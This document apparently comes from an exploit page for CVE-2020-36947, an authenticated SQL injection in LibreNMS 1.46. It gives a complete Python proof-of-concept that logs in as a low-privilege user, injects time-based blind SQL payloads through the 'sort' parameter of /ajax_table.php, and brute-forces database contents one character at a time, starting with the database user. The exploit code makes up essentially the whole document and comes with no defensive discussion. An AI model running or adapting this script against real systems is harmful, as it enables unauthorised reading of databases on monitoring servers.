CVE-2020-36947: LibreNMS 1.46 MAC accounting graph 认证SQL注入漏洞

import requests import time # CVE-2020-36947 PoC - Time-based Blind SQL Injection in LibreNMS MAC accounting graph # Target: LibreNMS 1.46 # Endpoint: /ajax_table.php?device=[DEVICE_ID]&type=macaccounting&sort=[SQL_PAYLOAD] TARGET_URL = "http://target-server/ajax_table.php" LOGIN_URL = "http://target-server/login" # Authentication credentials (low privilege user required) USERNAME = "attacker" PASSWORD = "password" DEVICE_ID = "1" # Target device ID def login(): """Login to LibreNMS and get session cookie""" session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(LOGIN_URL, data=login_data) if 'auth' in response.cookies.get_dict(): return session return None def sql_injection_test(session): """Test for SQL injection vulnerability with time-based delay""" # Basic time-based SQL injection test # If vulnerable, this should cause a 5 second delay payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))s1) AND '1'='1" params = { 'device': DEVICE_ID, 'type': 'macaccounting', 'sort': payload } start_time = time.time() response = session.get(TARGET_URL, params=params) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] SQL Injection Confirmed! Response time: {elapsed}s") return True else: print(f"[-] No SQL injection detected. Response time: {elapsed}s") return False def extract_data(session, sql_query): """Extract data using time-based blind SQL injection""" # Construct time-based blind SQL injection payload # Extracts first character of the query result payload = f"1' AND (SELECT CASE WHEN ASCII(SUBSTRING(({sql_query}),1,1))>64 THEN SLEEP(2) ELSE 0 END) AND '1'='1" params = { 'device': DEVICE_ID, 'type': 'macaccounting', 'sort': payload } start_time = time.time() session.get(TARGET_URL, params=params) elapsed = time.time() - start_time return elapsed >= 2 def brute_force_extract(session, sql_query, max_length=50): """Brute force extract data character by character""" result = "" for pos in range(1, max_length + 1): for ascii_val in range(32, 127): char = chr(ascii_val) payload = f"1' AND (SELECT CASE WHEN ASCII(SUBSTRING(({sql_query}),{pos},1))={ascii_val} THEN SLEEP(2) ELSE 0 END) AND '1'='1" params = { 'device': DEVICE_ID, 'type': 'macaccounting', 'sort': payload } start_time = time.time() session.get(TARGET_URL, params=params) elapsed = time.time() - start_time if elapsed >= 2: result += char print(f"[*] Position {pos}: {result}") break return result if __name__ == "__main__": print("[*] CVE-2020-36947 LibreNMS SQL Injection PoC") session = login() if session: print("[+] Login successful") if sql_injection_test(session): print("[+] Extracting database user...") user = brute_force_extract(session, "SELECT user()", 30) print(f"[+] Database User: {user}") else: print("[-] Login failed")